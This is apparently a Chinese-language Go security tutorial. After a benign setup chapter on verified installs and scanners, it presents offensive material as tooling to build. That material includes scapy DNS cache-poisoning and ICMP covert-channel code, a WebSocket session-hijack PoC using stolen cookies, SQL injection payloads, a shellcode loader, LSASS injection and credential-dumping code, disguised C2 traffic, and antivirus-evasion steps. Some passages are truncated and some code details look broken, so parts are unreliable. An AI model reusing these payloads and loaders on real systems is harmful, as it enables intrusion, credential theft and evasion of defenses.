第一章:Go语言安全开发环境构建与工具链配置
构建一个安全、可复现且符合最佳实践的Go开发环境,是保障后续代码质量与供应链安全的第一道防线。核心原则包括:使用受信来源安装Go运行时、启用模块校验机制、隔离依赖缓存、以及集成静态分析与漏洞扫描工具链。
Go运行时的安全安装
推荐通过官方校验方式安装Go,避免使用系统包管理器(如apt或brew)可能引入的非上游二进制。以Linux x86_64为例:
# 下载最新稳定版(以1.22.5为例)及对应SHA256校验文件
curl -O https://go.dev/dl/go1.22.5.linux-amd64.tar.gz
curl -O https://go.dev/dl/go1.22.5.linux-amd64.tar.gz.sha256
# 验证完整性
sha256sum -c go1.22.5.linux-amd64.tar.gz.sha256 --quiet && echo "✓ SHA256 verified" || exit 1
# 安全解压至受控路径(不覆盖系统/usr/local)
sudo rm -rf /opt/go
sudo tar -C /opt -xzf go1.22.5.linux-amd64.tar.gz
export GOROOT=/opt/go
export PATH=$GOROOT/bin:$PATH
模块安全与依赖治理
启用Go模块校验并配置可信代理与校验服务:
# 启用模块校验(默认开启,显式确认)
go env -w GOPROXY=https://proxy.golang.org,direct
go env -w GOSUMDB=sum.golang.org # 使用官方校验数据库
# 可选:在CI/CD中强制校验(防止本地绕过)
go env -w GOSUMDB=off # 仅调试时临时禁用;生产环境严禁
安全工具链集成
以下为推荐的最小化安全工具集及其用途:
| 工具 | 用途 | 安装命令 |
|---|---|---|
gosec |
静态代码安全扫描(SQLi、硬编码凭证等) | go install github.com/securego/gosec/v2/cmd/gosec@latest |
govulncheck |
官方漏洞检测(基于Go advisory database) | go install golang.org/x/vuln/cmd/govulncheck@latest |
staticcheck |
高精度代码质量与潜在安全问题检查 | go install honnef.co/go/tools/cmd/staticcheck@latest |
执行完整安全扫描示例:
# 扫描当前模块所有包,输出JSON便于CI解析
gosec -fmt=json -out=gosec-report.json ./...
# 检查已知漏洞(需先运行 go mod tidy)
govulncheck -format=table ./...
第二章:网络协议层渗透测试实战
2.1 TCP/UDP协议栈深度操控与自定义报文构造
底层网络操控需绕过Socket默认封装,直接操作原始套接字(AF_PACKET)或内核旁路框架(如DPDK、eBPF)。关键在于精确控制IP/TCP/UDP各层字段。
原始套接字构造UDP报文(Python scapy示例)
from scapy.all import IP, UDP, Raw
pkt = IP(dst="192.168.1.100", ttl=64) / \
UDP(sport=5000, dport=8080, chksum=0) / \
Raw(b"HELLO")
# chksum=0 表示由内核自动计算;Raw载荷为原始字节流
逻辑分析:IP()构建三层头部,UDP()含源/目的端口及长度字段(scapy自动填充),chksum=0触发内核校验和重算,避免手动计算错误。
TCP标志位组合对照表
| 标志位 | 含义 | 典型场景 |
|---|---|---|
| SYN | 同步序列号 | 连接建立首包 |
| ACK | 确认有效 | 所有非SYN/FIN后续包 |
| FIN | 终止连接 | 主动关闭时发送 |
数据流向(eBPF注入点)
graph TD
A[应用层sendto] --> B[内核协议栈]
B --> C{eBPF TC ingress}
C --> D[自定义TCP选项注入]
D --> E[网卡驱动]
2.2 HTTP/HTTPS中间人劫持与TLS握手篡改实践
中间人攻击基础原理
HTTP明文传输可被直接嗅探;HTTPS虽加密,但若客户端信任恶意CA证书或忽略证书警告,TLS握手即成突破口。
TLS握手篡改关键点
- 客户端发送
ClientHello(含支持的密码套件、SNI) - 攻击者拦截并修改
ServerHello响应,降级至弱加密算法(如TLS_RSA_WITH_RC4_128_MD5) - 强制使用自签名证书,诱使用户手动信任
mitmproxy 实践示例
# config.py:启用SSL拦截与证书注入
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if flow.request.host == "example.com":
# 强制重写User-Agent,模拟降级环境
flow.request.headers["User-Agent"] = "Mozilla/4.0 (compatible; MSIE 6.0)"
此代码在请求层注入旧版UA,辅助触发服务端降级响应;
flow.request.headers为可变字典对象,修改后自动生效于后续TLS协商。
常见降级向量对比
| 向量 | 触发条件 | 防御方式 |
|---|---|---|
| SNI剥离 | TLS 1.2未加密SNI | 升级至TLS 1.3+ESNI |
| 密码套件裁剪 | 服务端配置宽松 | 禁用RSA密钥交换等旧套件 |
graph TD
A[ClientHello] --> B{MITM拦截}
B --> C[伪造ServerHello<br>含弱密码套件]
C --> D[客户端验证证书失败]
D --> E[用户忽略警告→建立不安全连接]
2.3 DNS协议漏洞利用与权威服务器伪造实验
DNS协议依赖信任链,但缺乏强制响应验证机制,为缓存投毒与权威服务器伪造提供温床。
关键攻击面
- 基于UDP的无连接特性与ID+源端口熵不足(仅16位)
- 递归解析器未校验响应是否匹配原始查询(RFC 5452建议但非强制)
- 区域传输(AXFR)未默认启用TSIG签名
实验:伪造权威响应投毒
# 使用scapy伪造NS记录响应(目标:污染example.com的NS缓存)
from scapy.all import *
spoofed = IP(dst="192.168.1.100")/UDP(dport=53)/\
DNS(id=0x1234, qr=1, aa=1, rd=0, ra=0, rcode=0, \
an=DNSRR(rrname="example.com.", type="NS", rdata="ns.evil.com.", ttl=300))
send(spoofed)
id=0x1234需与目标解析器发出的查询ID一致;aa=1标记为权威响应,诱使缓存接受;rd=0表明该响应不源于递归查询,规避部分防护逻辑。
| 攻击阶段 | 所需条件 | 防御难点 |
|---|---|---|
| 查询ID预测 | 源端口+ID弱熵 | 现代系统已提升熵,但老旧设备仍脆弱 |
| 响应注入时机 | 网络延迟可控(如LAN) | 时间窗口常 |
graph TD
A[受害者发起example.com NS查询] --> B[递归服务器发送UDP请求]
B --> C{攻击者监听并预测ID/端口}
C --> D[在合法响应到达前注入伪造NS记录]
D --> E[缓存接受aa=1响应并存储ns.evil.com]
2.4 ICMP隧道构建与隐蔽信道通信开发
ICMP协议因常被防火墙放行,成为隐蔽信道的理想载体。其Echo Request/Reply(Type 8/0)字段可嵌入加密载荷,绕过基于应用层的DPI检测。
载荷封装策略
- 使用
ICMPv4数据段(非IP头)承载Base64编码的AES-128-CBC密文 - 保留
Identifier与Sequence Number用于会话状态同步 - 每包有效载荷≤56字节(兼容多数MTU限制)
数据同步机制
# 简易ICMP隧道客户端(scapy实现)
from scapy.all import IP, ICMP, Raw, sr1
import os
def send_icmp_payload(dst_ip, payload):
pkt = IP(dst=dst_ip)/ICMP(type=8, id=0x1234, seq=1)/Raw(load=payload)
sr1(pkt, timeout=2, verbose=0) # 发送并静默等待响应
# 参数说明:type=8确保为Echo Request;id与seq需服务端解析复用;Raw(load=...)为隐写区
| 字段 | 作用 | 安全约束 |
|---|---|---|
Identifier |
会话ID绑定 | 避免全局固定值 |
Sequence |
包序号防重放 | 递增或HMAC派生 |
Data |
加密载荷(含IV+密文) | 长度随机化填充至恒定值 |
graph TD
A[原始数据] --> B[AES-128-CBC加密]
B --> C[Base64编码]
C --> D[分片填入ICMP Data]
D --> E[构造ICMPv4 Echo Request]
E --> F[经防火墙透传]
2.5 WebSocket协议模糊测试与会话劫持工具实现
WebSocket 协议因长连接、双向实时性被广泛用于即时通信、在线协作等场景,但其握手阶段依赖 HTTP 升级机制,会话标识常嵌入 Cookie 或 URL 参数,存在会话固定与中间人劫持风险。
模糊测试核心向量
- 握手请求头(
Sec-WebSocket-Key、Origin、Cookie)异常注入 - 帧类型混淆(0x00/0xFF 帧、控制帧重放)
- 超长 payload 与畸形 masking key
会话劫持 PoC 工具片段(Python + websocket-client)
import websocket, ssl
def hijack_session(target_url, cookie_header):
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
ws.connect(
target_url,
header=[f"Cookie: {cookie_header}"],
origin="https://attacker.com",
suppress_origin=True
)
ws.send("{'action':'steal_context'}") # 触发敏感操作
return ws.recv()
逻辑说明:
suppress_origin=True绕过客户端 Origin 校验;sslopt忽略证书验证以适配内网测试;cookie_header可来自前置 XSS 或代理截获,实现会话复用。参数target_url需含有效ws://或wss://地址及路径。
关键漏洞利用链
| 阶段 | 技术要点 |
|---|---|
| 会话获取 | 通过 XSS 窃取 document.cookie |
| 协议降级 | 强制 wss→ws 绕过 TLS 保护 |
| 帧重放 | 捕获合法 ping/pong 帧伪造心跳 |
graph TD
A[窃取Cookie] --> B[构造恶意WS握手]
B --> C[绕过Origin校验]
C --> D[建立伪装会话]
D --> E[发送特权指令]
第三章:服务端漏洞挖掘与利用框架设计
3.1 Go Web框架(Gin/Echo)常见RCE路径自动化探测
Go Web框架中,未校验的*gin.Context.Param()或echo.Context.Param()配合os/exec.Command()易触发RCE。典型高危模式包括日志导出、调试接口、模板渲染回显等场景。
高危参数提取模式
id,name,cmd,file,path等命名参数需重点监控- 路由通配符如
/api/v1/exec/:cmd或/debug/:action为关键目标
自动化探测逻辑示意(Gin)
// 检查路由是否含潜在执行参数
func isRCECandidate(route string) bool {
return strings.Contains(route, ":cmd") ||
strings.Contains(route, ":shell") ||
regexp.MustCompile(`:([a-z]+cmd|exec|run)`).MatchString(route)
}
该函数通过静态路由字符串匹配识别高风险路由片段;:cmd等占位符暗示参数直传至命令构造环节,无需运行时分析即可初筛。
| 框架 | 典型危险中间件 | 触发条件 |
|---|---|---|
| Gin | gin.Logger() + 自定义日志注入 |
X-Forwarded-For: $(id) |
| Echo | echo.HTTPErrorHandler 回显调试 |
错误响应体未过滤参数值 |
graph TD
A[扫描路由树] --> B{含 :cmd/:shell?}
B -->|是| C[注入 $(id) 测试响应]
B -->|否| D[跳过]
C --> E[检查HTTP响应是否含uid=0]
3.2 反序列化漏洞的Go原生对象图构造与Gob载荷生成
数据同步机制
Go 的 gob 编码器专为 Go 类型设计,支持跨进程传递结构体、切片、map 等原生对象,但不校验类型安全性,为反序列化漏洞提供温床。
对象图构造要点
- 必须导出字段(首字母大写)
- 类型需注册(
gob.Register())或满足gob.Encoder接口 - 支持嵌套结构与自引用(可构造循环引用图)
Gob 载荷生成示例
type Payload struct {
Cmd string
Exec func() // 非导出字段?→ 实际不可序列化!需替换为可编码类型
}
// 正确构造:使用可序列化的函数替代方案(如反射调用)
⚠️
func类型不可被gob编码——Go 明确禁止序列化闭包与函数值。真实利用需借助unsafe或反射链(如reflect.Value.Call+os/exec.Command字符串拼接)。
常见可利用类型对比
| 类型 | 是否可 gob 编码 | 是否可触发副作用 | 典型利用路径 |
|---|---|---|---|
os/exec.Cmd |
❌(含 unexported field) | — | 需通过 *exec.Cmd + reflect 构造 |
net/http.Client |
✅ | ❌(无直接执行) | 配合 http.Transport.DialContext 逃逸 |
自定义结构体(含 io.Reader 字段) |
✅(若字段可编码) | ✅(通过 Read 触发) |
构造恶意 io.Reader 实现 |
graph TD
A[构造恶意结构体] --> B[注册类型到 gob]
B --> C[序列化为 []byte]
C --> D[注入至反序列化入口]
D --> E[触发 Read/UnmarshalText/... 方法]
E --> F[执行任意命令]
3.3 SQL注入检测引擎:基于AST解析的上下文感知型PoC生成
传统正则匹配式检测易产生误报,而基于抽象语法树(AST)的解析能精准识别SQL语句结构与执行上下文。
核心流程
- 解析目标SQL片段为AST节点
- 提取变量插槽(如
WHERE name = ?中的?) - 根据父节点类型(
BinaryOperation/FunctionCall)动态选择PoC载荷
AST节点映射表
| AST节点类型 | 上下文特征 | 推荐PoC |
|---|---|---|
StringLiteral |
字符串拼接上下文 | ' OR '1'='1 |
NumericLiteral |
数值比较上下文 | 1 UNION SELECT ... |
Identifier |
表/列名上下文 | `test` |
def generate_poc(ast_node: Node) -> str:
if isinstance(ast_node, StringLiteral):
return f"' OR '1'='1" # 闭合引号并注入
elif isinstance(ast_node, NumericLiteral):
return "1 UNION SELECT username FROM users"
return "1"
该函数依据AST节点语义类型返回适配上下文的PoC,避免在数字上下文中插入引号导致语法错误。
graph TD
A[原始SQL] --> B[ANTLR4解析为AST]
B --> C{节点类型判断}
C -->|StringLiteral| D[''' OR '1'='1']
C -->|NumericLiteral| E[1 UNION SELECT ...]
第四章:红队基础设施开发与免杀对抗技术
4.1 跨平台Shellcode加载器:纯Go实现的Syscall直接调用框架
传统Shellcode加载依赖C运行时或系统DLL导出函数,限制了Go程序在无libc环境(如Linux musl、Windows Nano Server)中的执行能力。本框架通过纯Go汇编绑定与syscall.RawSyscall实现零依赖内核调用。
核心设计原则
- 避免cgo和
syscall包封装层(屏蔽参数校验与ABI转换) - 动态解析NTDLL/KERNEL32导出(Windows)或
/proc/self/maps+mmap(Linux) - 统一内存页权限控制接口(
MEM_COMMIT|MEM_RESERVE,PROT_READ|PROT_WRITE|PROT_EXEC)
Windows Syscall调用示例
// x86_64 Windows: NtAllocateVirtualMemory
func NtAllocateVirtualMemory(hProcess uintptr, baseAddress *uintptr, zeroBits uint32,
regionSize *uint64, allocationType uint32, protect uint32) (ntstatus int64) {
// syscall number 0x18 (Win10 22H2), args passed in RCX/RDX/R8/R9/R10/R11
return syscall.Syscall6(0x18, 6, hProcess, uintptr(unsafe.Pointer(baseAddress)),
uintptr(zeroBits), uintptr(unsafe.Pointer(regionSize)), uintptr(allocationType), uintptr(protect))
}
逻辑分析:绕过
VirtualAllocAPI,直连SSDT;baseAddress为指针类型以支持INOUT语义;regionSize需传地址因内核会更新其值;allocationType=0x3000(MEM_COMMIT|MEM_RESERVE)确保立即分配物理页。
支持平台能力对比
| 平台 | 系统调用机制 | Shellcode入口方式 | 内存保护设置 |
|---|---|---|---|
| Windows x64 | Nt*系列syscall | ROP链跳转至RWX页 | NtProtectVirtualMemory |
| Linux x64 | mmap syscall |
mprotect后jmp |
mprotect(..., PROT_EXEC) |
| macOS ARM64 | mach_vm_allocate |
__TEXT段注入 |
vm_protect(..., VM_PROT_EXECUTE) |
graph TD
A[Shellcode字节流] --> B{OS检测}
B -->|Windows| C[NtAllocateVirtualMemory]
B -->|Linux| D[mmap with MAP_ANONYMOUS]
B -->|macOS| E[mach_vm_allocate]
C --> F[NtWriteVirtualMemory]
D --> G[memory copy + mprotect]
E --> H[mach_vm_write + vm_protect]
F & G & H --> I[间接jmp rax]
4.2 C2通信协议混淆与流量伪装:HTTP/2+QUIC协议适配器开发
现代C2流量需规避深度包检测(DPI)与TLS指纹识别。HTTP/2+QUIC组合提供天然多路复用、头部压缩及0-RTT加密特性,是高隐蔽性通信的理想载体。
核心设计原则
- 复用标准浏览器QUIC栈(如 Chromium quic_transport)避免自研加密风险
- 所有C2载荷封装于
SETTINGS帧扩展字段与PRIORITY_UPDATE伪头中 - 动态协商ALPN为
h3-32而非h3,绕过WAF硬编码匹配
QUIC握手混淆关键参数
| 参数 | 推荐值 | 说明 |
|---|---|---|
initial_max_data |
15728640 | 模拟Chrome 125行为 |
preferred_address |
禁用 | 防止IPv6地址泄露真实拓扑 |
retry_token |
空字节填充 | 规避token熵检测 |
# QUIC连接初始化片段(基于aioquic)
config = QuicConfiguration(
is_client=True,
alpn_protocols=["h3-32"], # 关键:非标准ALPN
max_datagram_frame_size=65535,
idle_timeout=30.0,
)
# 注:aioquic默认启用retry机制,此处需显式禁用以消除异常重传特征
config.use_retry = False # 防止触发QUIC-RETRY检测规则
逻辑分析:
use_retry=False强制跳过QUIC重试流程,避免生成带Retry Token的UDP包;alpn_protocols=["h3-32"]使TLS ClientHello中的ALPN列表与主流浏览器一致,但服务端解析时映射至C2信道——实现协议语义层伪装。
graph TD
A[Client发起Initial包] --> B{Server验证SCID}
B -->|匹配预共享密钥| C[返回Handshake包]
B -->|不匹配| D[静默丢弃]
C --> E[Client发送0-RTT Application Data]
E --> F[载荷解包为AES-GCM-encrypted C2指令]
4.3 内存马注入技术:Windows LSASS与Linux eBPF注入模块封装
内存马注入已从传统DLL劫持演进为无文件、高隐蔽的内核/系统进程驻留技术。
Windows LSASS 注入(反射式DLL加载)
// 使用Reflective DLL Injection将shellcode注入LSASS进程
BOOL InjectIntoLSASS(LPCVOID pPayload, SIZE_T dwSize) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPID(L"lsass.exe"));
LPVOID pRemote = VirtualAllocEx(hProc, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, pRemote, pPayload, dwSize, NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemote, NULL, 0, NULL);
CloseHandle(hProc);
return TRUE;
}
逻辑分析:通过OpenProcess获取LSASS句柄(需SeDebugPrivilege权限),VirtualAllocEx分配可执行内存,WriteProcessMemory写入反射式DLL载荷,最终以CreateRemoteThread触发执行。关键参数dwSize须严格匹配载荷实际长度,否则引发访问冲突。
Linux eBPF 注入模块封装
| 模块组件 | 功能说明 |
|---|---|
bpf_program |
编译后的eBPF字节码(CO-RE适配) |
bpf_link |
将程序挂载到tracepoint/syscall入口 |
libbpf |
提供安全的用户态加载与验证接口 |
graph TD
A[用户空间注入器] -->|load_bpf_object| B[libbpf加载器]
B --> C{eBPF验证器检查}
C -->|通过| D[内核态挂载到tracepoint/sys_enter_execve]
C -->|失败| E[拒绝加载并返回错误码]
4.4 Go二进制免杀优化:符号剥离、控制流扁平化与UPX兼容性加固
Go 编译产物默认携带丰富调试符号与反射元数据,易被 EDR 检测。需分层加固:
符号剥离与编译参数精简
go build -ldflags="-s -w -buildmode=exe" -o payload main.go
-s 移除符号表,-w 禁用 DWARF 调试信息;二者协同可缩减体积约30%,并消除 runtime._func 等关键特征。
控制流扁平化(CFB)适配
Go 原生不支持 CFB,需借助 goflow 工具链注入 IR 层改造:
// 示例:原始逻辑(易识别)
if x > 0 { log.Print("pos") } else { log.Print("neg") }
// 扁平化后:所有分支汇入统一 dispatcher,跳转表由常量数组驱动
UPX 兼容性加固对照
| 选项 | 是否兼容 UPX | 风险点 |
|---|---|---|
-s -w |
✅ 完全兼容 | 无额外校验失败 |
-buildmode=c-shared |
❌ 不兼容 | UPX 拒绝处理非PE/ELF主入口 |
| 启用 CFB | ⚠️ 需 patch UPX | 默认解压后校验跳转表完整性 |
graph TD
A[源码] --> B[go build -s -w]
B --> C[符号剥离二进制]
C --> D{UPX 压缩?}
D -->|是| E[UPX --ultra-brute]
D -->|否| F[接入 goflow 插件进行CFB]
F --> G[最终免杀载荷]
第五章:从渗透测试到ATT&CK战术映射的工程化演进
在某金融行业红蓝对抗项目中,传统渗透测试报告仅罗列漏洞(如CVE-2023-27997、未授权访问Jenkins API),缺乏攻击链上下文。团队引入ATT&CK框架后,将一次横向移动过程完整映射为:
- Initial Access → Spearphishing Link(T1566.002)
- Execution → PowerShell Script Block Logging Bypass(T1059.001)
- Lateral Movement → Windows Service Execution via SC.exe(T1569.002)
- Credential Access → LSASS Memory Dumping with ProcDump(T1003.001)
自动化映射流水线设计
团队基于Python构建CI/CD集成模块,当Burp Suite Pro导出XML报告后,触发以下流程:
- 解析HTTP请求响应体提取PowerShell命令特征;
- 调用MITRE ATT&CK STIX数据集(v12.1)进行语义匹配;
- 输出标准化JSON文件,含
technique_id、tactic、confidence_score字段; - 推送至内部威胁情报平台生成可视化攻击图谱。
映射准确性验证机制
| 为避免误标,建立三层校验规则: | 校验层级 | 规则示例 | 失败处理 |
|---|---|---|---|
| 语法层 | 检测PowerShell中是否含-EncodedCommand参数 |
降权至低置信度 | |
| 行为层 | 验证ProcDump调用是否伴随lsass.exe进程名 |
否则标记为False Positive | |
| 环境层 | 检查目标主机是否启用Windows Defender Credential Guard | 若启用则禁用T1003.001映射 |
flowchart LR
A[渗透测试原始日志] --> B{NLP关键词提取}
B --> C[PowerShell / WMI / PsExec 特征库]
C --> D[ATT&CK技术ID候选集]
D --> E[环境上下文过滤器]
E --> F[映射结果JSON]
F --> G[SOAR平台自动创建工单]
红队能力矩阵对齐实践
某次模拟钓鱼演练中,攻击载荷触发EDR告警,安全运营中心(SOC)通过映射结果快速定位:
- 技术ID T1204.002(Malicious File Execution)对应“用户执行恶意Office宏”;
- 关联战术层为Execution与Persistence双映射;
- 自动关联历史同技术ID事件(共17起),发现该载荷变种已绕过3家主流EDR的静态检测。
工程化落地瓶颈与突破
初期人工映射耗时占比达38%,通过构建正则+BERT混合模型将单次映射耗时从22分钟压缩至93秒。关键改进包括:
- 使用HuggingFace
distilroberta-base-finetuned-attck微调模型识别隐蔽C2通信模式; - 将Cobalt Strike Beacon配置参数(如
sleep_mask、jitter)直接映射至T1071.001(Application Layer Protocol: Web Protocols); - 在Jira工作流中嵌入ATT&CK标签字段,实现漏洞修复优先级动态计算(公式:
Priority = CVSS × Tactic_Criticality × Historical_Prevalence)。
该演进使某省联社的平均MTTD(Mean Time to Detect)从4.7小时降至18分钟,且92%的蓝队响应动作可直接复用ATT&CK Mitigation建议。
